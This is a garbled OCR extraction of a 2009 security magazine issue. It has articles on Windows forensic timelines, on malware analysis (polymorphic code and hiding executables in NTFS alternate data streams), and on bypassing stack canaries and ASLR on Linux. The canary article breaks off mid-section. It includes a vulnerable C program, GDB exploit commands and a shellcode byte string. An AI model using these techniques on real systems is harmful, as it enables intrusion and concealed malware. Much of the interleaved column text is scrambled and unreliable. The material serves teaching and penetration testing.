Basic information regarding file and be used to illustrate a progression, or a utilizing only file system metadata, or incorporating
metadata (i.e., MAC times) cluster of activity. Generating timelines based on only Registry key LastWrite times (which are
file system metadata (file and directory modified, analogous to file last modified times) into the
WHAT YOU WILL
LEARN... last accessed, and creation, or MAC times) has timeline provide a limited view of overall system
long been a traditional means of data reduction (and user) activity, particularly given the shear
Basic information about timeline
analysis and forensic analysis, largely due to a general amount of time stamped information available
New information in order to understanding of what must occur in order to to the analyst from nothing more than a single
update and advance the use of cause this data to be created or modified. Brian acquired image. For example, Windows 2000,
timeline analysis in computer
forensic examinations Carrier’s TSK (i.e., The SleuthKit) tools provide XP, and 2003 systems maintain Event Logs in a

12 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
WINDOWS TIMELINE ANALYSIS
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

proprietary binary format (Event Logs for Generating timelines does not require a consistent manner. Descriptions of some
Windows Vista systems and higher are significant amount of data within an event events can be derived directly from the
maintained in an XML format), and each structure beyond the time stamp. Following source data itself, as is the case with
event includes times for when the event the time stamp for the event, there are Windows Event Logs and IIS web server
itself was generated, as well as when it ideally four additional fields that comprise logs. For other events, some consistent
was actually written. Further, while Registry an event structure that are pertinent to descriptive information may need to be
keys maintain LastWrite times (Registry generating a succinct yet comprehensive added to this field in order to make the
values do not maintain similar information), and understandable timeline. The first is information understandable or provide
additional time stamped data can be the source of the event; event sources context.
extracted from a range of Registry value can range from the file system to the
data entries (i.e., UserAssist keys, etc.). In Registry to the Event Log, and will be more Sources
addition, there is a significant amount of completely addressed in the Sources As previously discussed, there are a
context that is available and can be used section found later in this article. number of sources of time stamped
to provide a deeper understanding of the Next, an event should identify information from systems, which can
incident by incorporating multiple data the system on which the event was obtained from live systems as well as
points from within a system. Data points generated or from which it was derived, from acquired images. Time stamped
such as most recently used (MRU) lists as events can be correlated across information associated with the system
and an understanding of how these data multiple systems. Systems can be can be retrieved from the System,
points or events are created or modified identified by IP or MAC address, NetBIOS Software, Security and SAM Registry
will provide context and intelligence as or DNS name, depending upon the hive files, as well as from the Event
to the data that makes up the generated source of the data comprising the event, Logs and application Prefetch (for
timeline. which may require the use of a key or Windows XP and Vista systems) files.
legend with which all identifiers can be Additional information can be extracted
Fields of an Event normalized. As data for events can be from application (antivirus, Dr. Watson,
The key element to generating a timeline derived from Windows or Linux hosts, etc.) logs, the Scheduled Task log file,
is the time stamps associated with the firewalls, network devices, IPSs, etc., and Malicious Software Removal Tool
various events. On Windows systems, the type of system should be implicitly (a.k.a., MRT, more information found
many time stamps are maintained as associated with the system name, or at http://support.microsoft.com/kb/
64-bit FILETIME objects, defined as 100 added to the legend. 891716) logs, as well. Information
nanosecond increments since 1 Jan The fourth field of an event structure associated with specific users can be
1601. In other instances, time stamps are is the user to which the event pertains, if extracted from Recycle Bin INFO2 files,
maintained as 32-bit values, indicating such information is available or pertinent. NTUSER.DAT Registry hive files, and
the number of seconds since 1 Jan 1970, For system-wide events, this field can be web browser history files (via tools such
which is analogous to the Unix epoch left blank or filled in with the name of the as FoundStone’s pasco or Mandiant’s
time. For the purposes of normalizing system itself. As with the system name WebHistorian).
the values and maintaining a consistent field, users can be identified through
relationship between events, all times a variety of means (i.e., username, XP Restore Points and Vista
should be normalized and maintained SID, domain\username combination, Volume Shadow Copies
as 32-bit values; 64-bit values can be email address, chat screen name, etc.), Information can also be retrieved from
easily translated to 32-bit values where necessitating the need for a key or legend. Windows XP System Restore Points,
necessary, with no significant loss in Finally, each event structure requires not only from the rp.log file itself (the
granularity. a concise description of the event itself, date and reason for the Restore Point
identifying the event in a clear and being created), but also from Registry
Five Fields of an Event

• Time stamp, normalized to a 32-bit Timeline Example


During an examination, an analyst generated a timeline of activity from an acquired system
Unix epoch time
image, incorporating file system metadata derived using the TSK tool fls, and Event Log data
• Source – from where within the extracted using a custom Perl script. Using a process name listed in a memory dump as the
system the data was derived basis for a search, the analyst was able to develop a comprehensive timeline of malicious
• System – the system or host from activity stretching back almost 6 months prior to the date that the image was acquired,
which the data was derived illustrating repeated compromises of the system. Data from AV logs showed that following
• User – the user associated with the the initial infection, malicious files were deleted by the AV application; however, subsequent
infections did not result in the files being detected and deleted. Timeline analysis was able to
event
provide a window of intrusion, as well as the necessary information for conducting targeted
• Description – a concise description searches within the acquired image for additional data.
of the event

5/2009 HAKIN9 13
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
BASICS O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

hive files stored in those Restore Points. Timeline Generation approach over simply extracting all Registry
Applications have been written that are Data can be collected and a timeline can key names and their LastWrite times. For
capable of extracting specific data from be generated using a variety of means. example, the userassist.pl RegRipper plugin
Registry hive files, starting with the primary Perhaps the most preferable means for will extract time stamps from the binary
hive file (i.e., System, Software, etc.) and generating the simplest timeline would be value data within UserAssist subkeys,
then progressing down through each to acquire an image of the target system, providing the analyst with a time stamped
Restore Point, locating the particular and then using the acquired image, view of activity associated with that user
corresponding hive file and then extracting extract time stamped data. account. Also, LastWrite times from Registry
the same data, providing a valuable keys associated with MRU lists can provide
historical view of the system. Similar data TSK Tools additional context (i.e., the LastWrite time
can be retrieved from Windows Vista For example, fls.exe from the TSK tools was updated with a specific file was
Volume Shadow Copies. will allow you to extract file system data viewed) to the data. Once again, scripting
such as file names and paths, as well as languages such as Perl are extremely
Memory Dumps file modified, last accessed, created and well suited to parsing binary data formats,
Memory dumps can be an invaluable entry modified (MACE) dates. FTK Imager translating time stamp information, and
source of time stamped data, as well. A will allow you to export similar information, providing output in the five field format.
memory dump is a snapshot in time of albeit without the file entry modified times.
the contents of physical memory from a MFTRipper from Mark Menz of MyKey Additional Sources
system, and will contain time stamped Technology, Inc. will allow you to parse Tools written in Perl can extract data from
information such as process start times the NTFS MFT for file system data, as Windows Event Logs, Windows XP and
(and exit times, for completed processes), well. If necessary for scoping, file system Vista Prefetch files, and Recycle Bin INFO2
as well as Registry hive files and Event Log metadata information can be derived files, as well as a variety of other files.
records. Correlating process start times from a live system using tools such as the Many of these files consist of a proprietary
to when the system was booted, as well stat() function available to the Perl and binary format that has been understood
as file system data may allow an analyst Python scripting languages. The output of and documented, so that extraction tools
to identify an initial source of malware whichever tool or technique is used should or scripts can be written in order to filter
infection or compromise to a system. be considered to be an intermediate and retrieve timestamped data.
Sources for timeline data can include format, and additional translation to the
much more than simply files from a five field format described above will be Using Perl
single system. Activity on a system can required; scripting languages such as Perl The Perl scripting language is freely
be correlated with logs from firewalls are ideally suited for this sort of task. available, as well as available on a number
and other network devices, as well as of popular platforms. The use of Perl as
from other systems on the network. RegRipper a basis for writing tools or filters to extract
Incidents during which an intruder hops Once the file system information has been data from various files provides for quick
from system-to-system (via Terminal extracted from the image, specific files prototyping, as well as easily-read and
Services, Windows networking, VNC, etc.) can then also be extracted and parsed shared code. The Perl DateTime module
are ideal for correlation of events across for time stamped information. Tools such allows the analyst to easily translate the
multiple systems as well as from VPN as RegRipper allow the analyst to extract familiar date/time format seen in AV
concentrators, firewalls, even IDS/IPS specific time stamped data from Registry application and Internet Information Server
systems. hive files, providing a much preferable (IIS) web server logs (most often a human-
understandable format, such as 2008-07-
References 12 12:33pm or something similar) into the
normalized Unix epoch time format. This
• Windows Forensic Analysis, Second Edition (Syngress, 2009) normalized time allows for sorting of events
based on a common format, once time
On the ‘Net zones (translating to Universal Coordinated
Time, or UTC) and clock skew have been
• http://sourceforge.net/projects/ex-tip/ – Michael Cloppert’s work on ex-tip
taken into account. This way, events that
• http://www.regripper.net/ – The tool for Windows Registry Analysis
• http://www.sleuthkit.org/ – The SleuthKit (TSK) tools, by Brian Carrier
occurred relatively close to each other can
• http://www.forensicswiki.org/wiki/Timeline_Analysis_Bibliography – ForensicWiki Timeline easily be viewed as such.
Analysis Bibliography
• http://www.foundstone.com/us/resources-free-tools.asp – FoundStone Network Security Scope and Nature of an
free tools Incident
• http://www.mandiant.com/software/webhistorian.htm – Mandiant WebHistorian
Timeline generation and analysis can
• http://www.epochconverter.com/epoch/functions-perl.php – Perl epoch converter routines
be extremely valuable in determining

14 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Further Readings
This article will be followed by two additional articles that walk through developing a timeline for
analysis as a practical exercise. Using a Windows image that is freely available for download on
the Internet, you'll be able to follow along as we develop a timeline of activity on the system. The
first article will provide the basis for the timeline development and illustrate extracting timeline
information from some basic sources; the second article will follow up by illustrating extracting
timeline information from advanced sources. Stay tuned!

the scope and nature of an incident. such cases, generating timeline data
Analysts generating timelines of data have for transmittal to off-site resources
determined incident windows previously allows the on-site responder to provide
unnoticed by the victim, finding that the data for offload analysis work that
precipitating intrusion had taken place is conducted in parallel with on-site
days, weeks, or months prior to the activities, and receive back pertinent
victim identifying unusual or suspicious information to assist in developing an
activity. Many times, a complete timeline incident scope, without worrying about
is not necessary in order to identify an inadvertently compromising sensitive
incident window or a precipitating event. (i.e., credit card) data. This is not specific
An abbreviated timeline using several to PCI investigations, and can be used
sources, such as AV application logs and to optimize and parallelize investigative
Event Logs, may provide sufficient data to efforts across multiple analysts, without
identify the incident window, allowing the exposing or compromising sensitive data.
analyst to target only specific information
from other sources, or extracting and Conclusion
correlating NTUSER.DAT hive files from Generating a timeline of activity from a
multiple systems may be all that is required system or from multiple sources can
to sufficiently establish an incident window. provide analysts with a means of data
reduction while at the same time optimizing
Advantages analysis and reporting. Generating a
Generating timeline data for analysis in timeline in the manner described in
the manner described in this article has this article is largely a manual process,
a number of useful advantages, the first as there are currently no commercial
of which is the correlation of multiple tools that automate the collection and
events from a system (or acquired presentation of the scope of data available.
image) or systems into a unified, sorted In many cases, new data sources may
format for visualization. This can lead to be discovered, requiring the creation of
significant data reduction, particularly if custom filters to translate the available data
a specific incident window is known for into a prescribed timeline format. However,
the event being investigated. Alternatively, the benefits of creating timelines in this
the timeline analysis can lead to the manner far outweigh the effort required to
determination of that incident window. generate the timeline, and timeline analysis
Another significant advantage to the as described in this article will undoubtedly
use of this form of analysis pertains to become a standard component of forensic
investigations involving sensitive data; investigations.
for example, credit card data as part of
a Payment Card Industry (PCI) forensic
incident assessment following a potential Harlan Carvey
Harlan Carvey is an incident responder and computer
breach. Deadlines for reporting are forensic analyst based in the Metro DC area. He has
imposed on certified responders, who considerable experience speaking at conferences
on computer forensic and incident response topics,
walk into an unfamiliar infrastructure and and is the author of several books, including Windows
must spend considerable time becoming Forensics and Incident Recovery (AWL, 2004), Windows
Forensic Analysis (Syngress, 2007), and is a co-author
familiar with the environment, as well for Perl Scripting for Windows Security (Syngress, 2007).
mapping the customer’s network and The second edition of his Windows Forensic Analysis
will be available June, 2009 and is currently available for
credit card transaction flow for them. In pre-order on Amazon.com.
BASICE
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

JASON CARPENTER

Analyzing Malware
Introduction to
Advanced Topics
Difficulty

In this final article in our three-part series on analyzing malware


we will discuss more advanced topics. The topics we are going
to include are: polymorphic code, metamorphic code, and
alternative data stream.

A
fter that we will conclude by discussing In this article, first, let us discuss the
the benefits and drawbacks to automatic difference between polymorphic and
analysis. At the end of the article there metamorphic code. Polymorphic Code is code
will be a list of places to find more resources on that mutates while maintaining its original
customizing(and scripting) your ability to analyze algorithm. Whereas metamorphic code is
malware. I hope you will understand by reading code that is programmed to rewrite itself
these three articles that no two people will usually translating the code into a temporary
analyze malware the same way and it will take representation, editing the temporary creation
time to find your own way to analyze malware and writing itself back to the original code.
quickly and effectively. However, first lets review
part one and two of this series. Polymorphic Code
Most antivirus scanners rely on recognizing
Synopsis of previous parts of patterns in viral code. Polymorphic code has
Analyzing Malware to decrypt the viral code with an unpredictable
In part one, we discussed why it is important to decryption process. This keeps the code from
WHAT YOU SHOULD analyze malware. We discussed some common
KNOW
tools we can use to analyze malware. At this
An overview of the analyzing
malware process. By now you point we discussed how to setup an environment
should be able to reverse simple that will allow us to isolate the malware. While ���������������
malware, but probably would
have ran into some interesting analyzing a simple type of malware, we discussed
code. the difference between behavioral and code
������
analysis.
WHAT YOU WILL In part two we discussed what a portable
LEARN... �������
executable was, and dissected the headers to
We will learn a little about
more advanced topics such as
help us analyze malware. We learned what the
polymorphic and metamorphic relative virtual address is and the importance ���������
code, as well as hiding in ADS.
of the Windows Import Address Table. We found
This will be a brief introduction
out that PE-Packers, while initially designed to
to these topics to familiarize you ������
with them, so you can recognize help condense code has become a way for
them in the wild.
malware authors to hide their code. Therefore
There will be references to get we discussed ways to unpack their code and
more information on these
topics. used the storm worm as an example. Figure 1. The stages of Metamorphic Code

16 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
INTRODUCTION TO ADVANCED TOPICS
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

being predictable. If there is no constant to perform the transformation. It must transform itself. Essentially it requires
bytes in each generated decryption recognize itself in order to know how to disassembly, though it may also need to
routine, virus detectors cannot rely on
a simple pattern match to locate these
viruses. Instead, they are forced to use an
heuristic algorithmic that is susceptible
to false positives, misleading reports of
the existence of the virus where it is not
truly present, or run the risk of missing
copies of the virus allowing it to survive
and propagate.
An example of polymorphic code, in
assembly,

mov ax, 808h

could be replaced with

mov ax, 303h ; ax = 303h


mov bx, 101h ; bx = 101h
add ax, bx ; ax = 404h
Figure 2. Saving a Text File
shl ax, 1 ; ax = 808h

The registers are encoded in a random


order. The counter variable, for example,
should not always be the first to be
encoded.

Metamorphic Code
Metamorphism is the ability of malware
to completely transform its code. While
originally it was a difficult task to create
metamorphic code, there now exist
several metamorphic engines, programs
that create the logic for transforming
code, that can be linked to any malware
making it metamorphic. Metamorphic
Figure 3. File size of Text File
malware is either self-contained or
extends its capability by communicating
with the world, for example by
downloading plug-ins from the web.
Metamorphic code goes through five
stages in order to be truly metamorphic.
These five stages are: Locate its Own
Code, Decode, Analyze, Transform, and
Attach.
Locate its Own Code.
A metamorphic engine must be able
to locate the code to be transformed.
Parasitic metamorphic malware, which
transforms both its own code and its
host, must be able to locate its own code
in the new variant.
Decode. The metamorphic engine
will need to decode required information Figure 4. Shows hiding executable, size does not change and how to start executable

5/2009 HAKIN9 17
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
BASICE O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

decode other types of information it may Alternative Data Streams C:\WINDOWS>start .\textfile.txt:not.exe
require in order to perform an analysis Another way that malware writers try
or transformation. The information is to hide their code is in Alternative Data As you can see this is a way for malware
usually encoded in the malware body Streams (ADS). ADS is an often forgotten authors to hide executables in a place
data segments, or in the code itself. feature of NTFS. It allows you to fork that is difficult to find. While there are tools
Some examples include using flags, bits, file data into existing files. This does out there to find files hidden in ADS, you
markers, or hints. not affect their size or functionality, nor have to know that ADS is there first. If,
Analyze. In order for the metamorphic does it show up in standard browsing while analyzing malware, an executable is
transformations to work information software like Microsoft Windows Explorer. running that you cannot locate ADS is a
needs to be available. When the required ADS is used by a variety of programs good place to look.
information is not made explicitly available to store file information. However it has
and decoded, it must be constructed by also become a useful place to store Conclusion
the engine itself. The control flow graph executable malware. In the first article, I briefly discussed
(CFG) of the program is one piece of that I believe that all companies should
information that is frequently required for An Example perform analysis of any malware that
analysis and transformation. It is used, to Save a text file, let’s call it textfile.txt. Let’s infects them. This allows them to verify
rewrite the control flow logic of a program look at the file size Figure 3. exactly what occurred on their network
if a transformation requires expanding the Next we put an executable behind it, instead of relying on AV vendors.
size of code. let’s use notepad.exe. However, it would be wrong to believe
Transform. The Transform step that I don’t understand that most
replaces instruction blocks in the C:\WINDOWS>type information security officers are already
code with the transformed equivalent. notepad.exe>textfile.txt:not.exe pressed for time. Of course they are,
Some examples of metamorphic however that does not mean they can
transformations include register renaming, Now we will confirm that the file size has neglect malware. Therefore we need to
code substitution, NOP insertion, garbage not changed. find ways to speed up malware analysis.
insertion, and instruction reordering within Here is how we run our hidden Most people, when considering ways
a block. executable. Notice the .\ in front of the to speed up malware analysis initially
Attach. Parasitic metamorphic file name; this is required so the start look towards automated tools. In order
malware attaches the new version to a command knows the correct path to the to automate some of malware analysis
host file. file Figure 4. without offloading the entire process
to a third-party, you can script parts of
the analysis. It is possible to script both
Further Resources behavioral and static analysis to a point.
Automated Virus Analysis – Online
However, this is only as effective if the
Submiting potential infected files often will generate reports.
Cwsandbox.org malware is fairly simple. Once more
advanced techniques get involved you
• Norman Sandbox Information Center http://www.norman.com/microsites/nsic/en-us are going to need human intervention.
• ThreatExpert http://www.threatexpert.com/ Ultimately, malware analysis comes
• Virus Total http://www.virustotal.com/
down to a cat and mouse game. As
we develop ways to analyze malware,
Reversing Resources malware authors come up with new
A good place to start if you are learning how to reverse, an important requirement for
ways to hide the malware. The best
understanding how to reverse malware.
way to speed up malware analysis is
• Open RCE http://www.openrce.org/articles/ to combine as much possible scripting
• Tuts4u http://forum.tuts4you.com/index.php?s=819de41a7dbe99986c03ad67e8a05374& while analyzing the results and the
malware by hand.
Live Malware Samples online
Can't practice if you can't get infected files.

• http://www.offensivecomputing.net/

Books Jason Carpenter


Interesting book Jason Carpenter has been in IT for 10 years now, doing
Reversing: Secrets of Reverse Engineering by Eldad Eilam everything from programming to administering networks.
I am currently completing my master’s degree in
Information Assurance.

18 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
ATTACK
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

STEPHEN SIMS

Hacking ASLR
& Stack Canaries
on Modern Linux
Difficulty

This article will demonstrate methods used to hack stack


canaries and Address Space Layout Randomization (ASLR) on
modern Linux kernels running the PaX patch and newer versions
of GCC.

T
hese methods have been privately known There are quite a few stack protection tools
and publicly disclosed by myself and available with different operating systems and
multiple other researchers over the years, vendor products. Two of the most common Linux-
but not in great detail. The methodology attempts based stack protection tools are Stack-Smashing
to demonstrate examples of modern hacking Protector (SSP) and StackGuard.
techniques during conditional exploitation. As
you add additional patches such as grsecurity, Stack-Smashing Protector (SSP)
exploitation becomes even more challenging. SSP, formerly known as ProPolice is an extension
Much of the content has been pulled from to the GNU C Compiler (GCC) available as a
my course SEC709 Developing Exploits for patch since GCC 2.95.3, and by default in GCC
Penetration Testers and Security Researchers
offered by the SANS Institute.

Stack Protection
To curb the large number of stack-based attacks,
several corrective controls have been put into
WHAT YOU SHOULD ������
place over the years. One of the big controls
KNOW...
added is Stack Protection. From a high level the
Readers should have an
understanding of standard idea behind stack protection is to place a 4-byte
stack based overflows on x86 value onto the stack after the buffer and before ������
architecture, as this article builds
off of that knowledge. the return pointer. On UNIX-based OS’ this value
Readers should have an is often called a Canary, and on Windows-based ���
understanding of modern OS it is often called a Security Cookie. If the value
operating system controls added
over the years. is not the same upon function completion as ��
when it was pushed onto the stack, a function is ���������
WHAT YOU WILL called to terminate the process. As you know, you
LEARN... must overwrite all values up to the Return Pointer ���������
Readers will gain knowledge on
(RP) in order to successfully redirect program
various methods used to defeat
modern security controls under execution. By the time you get to the return pointer,
conditional situations.
you will have already overwritten the 4-byte stack
Readers will be able to add protection value pushed onto the stack, thus
additional tricks to their pen-
testing arsenal. resulting in program termination (see Figure 1). Figure 1. Stack with Canary

20 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
HACKING ASLR AND STACK CANARIES
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

4.1. SSP is based on the StackGuard Null Canary In the Figure 2 we first launch the
protector and is maintained by Hiroaki Probably the weakest type of canary is canary program with no arguments. We
Etoh of IBM. Aside from placing a the Null Canary. As the name suggests, see that it requires that we enter in a
random canary on the stack to protect the canary is a 4-byte value containing username, password, and PIN. On the
the return pointer and the saved all 0’s. If the 4-byte value is not equal to 0 second execution of canary we give it
frame pointer, SSP also reorders local upon function completion, the program is the credentials of username: admin,
variables protecting them from common terminated. password: password and PIN: 1111. We
attacks. If the urandom strong number get the response that authentication has
generator cannot be used for one Defeating Stack Protection failed as we expected.
reason or another, the canary falils back For this example I will use a method Finally we try entering in the
to a Terminator Canary. that allows us to repair the Terminator username: AAAAAAAAAAAAAAAA , the
Canar y used by SSP on newer password: BBBB and the pin: CCCC . The
StackGuard versions of Kubuntu. You will notice response we get is:
StackGuard was created by Dr. Cowan over time that under certain conditions,
and uses a Terminator Canary to protect controls put in place to protect areas Authentication Failed
the return pointer on the stack. It was of memor y can often be bypassed “*** stack smashing detected
included with earlier versions of GCC and or defeated. Again, this is conditional ***: ./canary
has been replaced by SSP. You can read exploitation. Below is the vulnerable terminated
more about Dr. Cowan at: code (see Listing 1). Aborted (core dumped)
http://immunix.org.
Listing 1. Canary.c
Terminator Canary
The idea behind a Terminator Canary /*Program called canary.c*/
#include <stdio.h>
is to cause string operations to terminate
#include <stdlib.h>
when trying to overwrite the buffer #include <string.h>
and return pointer. A commonly seen
Terminator Canary uses the values int testfunc(char* input_one, char* input_two, char* input_three) {

0x00000aff . When a function such as


char user[8];
strcpy() is used to overrun the buffer char pass[8];
and a Terminator Canary is present char pin[8];
using the value 0x00000aff , strcpy()
strcpy(user, input_one);
will fail to recreate the canary due to the strcpy(pass, input_two);
null terminator value of 0x00. Similar to strcpy(pin, input_three);
strcpy(), gets() will stop reading and printf("Authentication Failed\n\n");
return 0;
copying data once it sees the value 0x0a .
}
StackGuard used the Terminator Canary
value 0x000aff0d . int main(int argc, char* argv[])
{

Random Canary if(argc <4){


A preferred method over the Terminator printf("Usage: <username> <password> <pin>\n");
Canary is the Random Canary which exit(1);}

is a randomly generated, unique 4-byte


testfunc(argv[1], argv[2], argv[3]);
value placed onto the stack, protecting return 0;
the return pointer and other variables. }
Random Canaries are commonly
generated by the HP-UX Strong
Random Number Generator urandom
and are near impossible to predict.
The value is generated and stored in
an unmapped area in memory, making
it very difficult to locate. Upon function
completion, the stored value is XOR-ed
with the value residing on the stack to
ensure the result of the XOR operation
is equal to 0. Figure 2. SSP Detected

5/2009 HAKIN9 21
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

You can quickly infer that this is the in AAAAAAAA for the first argument, goal of a terminator canary is to terminate
message provided on a program BBBBBBBB or the second argument, string operations such as strcpy() and
compiled with SSP for stack protection. and CCCCCCCC for the third argument. gets(). These commands can be seen in
Now that we know SSP is enabled, Now enter the command x/20x $esp Figure 3.
we must take a look in memory to see and locate the values you entered. Let's quickly see if we can repair the
what type of canary we’re up against. By Immediately following the A’s in memory canary by entering it in on the first buffer
running GDB and setting a breakpoint you will find the terminator canary value and attempt to overwrite the return pointer
after the final of three strcpy()’s in the of 0xffa00000. Remember this is in little with A’s. Try using the command:
testfunc() function, we can attempt to endian format and the value is actually
locate the canary. By probing memory 0x00000aff . You should also be able to run “AAAAAAA `echo –e ‘\x00\x00\x0a\
you can easily determine that each of the quickly identify the return address value xffAAAAAAAAAA’`”
three buffers created in the testfunc() 4-bytes after the canary showing the BBBBBBBB CCCCCCCC
function allocate 8-bytes. Try entering address of 0x08048517. Remember, the
As you can see, with the above
command we are filling the first buffer
with A’s, trying to repair the canary and
then place enough A’s to overwrite
the return pointer. When issuing this
command and analyzing memory at the
breakpoint, you can see that the canary
shows as 0x4141ff0a and the return
pointer shows as 0x41414141 . When
letting the program continue, it fails, as
Figure 3. Breakpoint with Normal Canary the canary does not match the expected
0x00000aff . Notice the message at
the bottom, “*** stack smashing
detected ***” letting us know again
that SSP is enabled. The strcpy()
function stops copying when hitting the
null value 0x00 and our attack fails. The
strcpy function can, however, write
one null byte. With this knowledge, let's
continue the attempt to defeat the canary.
The results of the above commands are
provided in Figure 4.
This time let's take advantage of
all three buffers and the fact that the
strcpy() function will allow us to
write one null byte. Try entering in the
Figure 4. Broken Canary
command:

run “AAAAAAA `echo –e ‘AA\x0a\


xffAAAAAAAA’`”
“BBBBBBBBBBBBBBBBB” “DDD
DDDDDDDDDDDDDDDDDDDDD”

As you can see in the Figure 5, we’ve


successfully repaired the canary and
overwritten the return pointer with a
series of A’s. When we continue program
execution, we do not get a stack smashing
detected message, we instead get a
normal segmentation fault message
showing EIP attempted to access memory
Figure 5. Repaired Canary at 0x41414141.

22 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
HACKING ASLR AND STACK CANARIES
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Since we now know that we can The control of this feature is located in see, the middle two bytes have changed,
repair the canary, let's see if we can the file randomize _ va _ space , which but some bytes remained static. This is
execute some shellcode. We will place resides in the /proc/sys/kernel often the case, depending on the number
our shellcode after the return pointer, directory on Ubuntu and similar locations of bits that are part of the randomization.
since there is not enough space within the on other systems. If the value in this file is The mmap() system call only allows for
buffer. In order to do this we must locate a 1, ASLR is enabled, and if the value is a 16-bits to be randomized. This is due to
our shellcode within memory and add 0, ASLR is disabled. its requirement to be able to handle large
in the proper return address that simply In order to ensure that stacks continue memory mappings and page boundary
jumps down the stack immediately after to grow from higher memory down alignment.
the return pointer. I have added in eight towards the heap segment and vice versa
NOP’s to make it slightly easier to hit the without colliding, the Most Significant Bit’s Defeating ASLR
exact location. Below is the script to run (MSB)’s are not randomized. For example, Depending on the ASLR implementation,
within GDB to successfully execute our let's say the address 0x08048688 was the there may be several ways to defeat the
shellcode (see Listing 2 and Figure 6). The location of a particular function mapped randomization. PaX’s implementation of
shellcode I am using simply issues the into memory by an application during ASLR uses various types of randomization
command apt-get moo which is an Easter one instance. The next several times you between 16-24 bits in multiple segments.
egg as seen in the Figure 7. launch the program, the location of that The delta _ mmap variable handles the
As you can see in the Figure 7, our same function may be at 0x08248488 , mmap() mapping of libraries, heaps, and
shellcode was successfully executed, 0x08446888 and 0x08942288 . As you can stacks. There are 2^16 = 65536 possible
giving us the Debian Easter Egg that
shows an ASCII cow and the phrase: Have
Listing 2. Script with Shellcode
you mooed today? At this point we have
walked through an example of defeating a run "AAAAAAA 'echo -e '\x42\x43\x0a\xffAAAA\x90\xf6\xff\xbf\x90\x90\x90\x90\x90\x90\
x90\x90\x29\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\
stack canary.
x73\x13\x35\xb0\xb8\xc4\x83\xeb\xfc\xe2\xf4\x5f\xbb\xe0\x5d\
x67\xd6\xd0\xe9\x56\x39\x5f\xac\x1a\xc3\xd0\xc4\x5d\x9f\xda\
PaX and Defeating ASLR xad\x5b\x39\x5b\x96\xdd\xbc\xb8\xc4\x35\xd1\xc8\xb0\x18\xd7\
PaX was released back in 2000 for xdd\xb0\x15\xdd\xd7\xab\x35\xe7\xeb\x4d\xd4\x7d\x38\xc4''"
"BBBBBBBBBBBBBBBBB" "DDDDDDDDDDDDDDDDDDDDDDDD"
systems running Linux. The primary
objective was to protect memory from
being exploited by attackers. One method
was to make eligible pages of memory
non-writable or non-executable whenever
appropriate. ASLR is another control
introduced that randomizes the memory
location of the stack segment, heap
segments, shared objects and optionally,
the code segment within memory. For
Figure 6. Script with Shellcode in GDB
example, if you check the address of the
system() function you will see that its
location in memory changes with each
instance of the programs execution. If an
attacker is trying to run a simple return-to-
libc style attack with the goal of passing
an argument to the system() function,
the attack will fail, since the location of
system() is not static.
The mmap() function is responsible for
mapping files and libraries into memory.
Typically, libraries and shared objects
are mapped in via mmap() to the same
location upon startup. When mmap() is
randomizing mappings, the location of the
desired functions are at different locations
upon each access request. As you can
imagine, this makes attacks more difficult. Figure 7. Successful Execution

5/2009 HAKIN9 23
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

addresses of where a function is located may allow an attacker to grab the required The interesting thing about attacking
in memory. When brute forcing this space, addressing to successfully execute code ASLR is that a method that works when
the likeliness of locating the address of and bypass ASLR protection. This is often exploiting one program, often times will not
the desired function is much lower than the case since once a parent process has work on the next. You must understand the
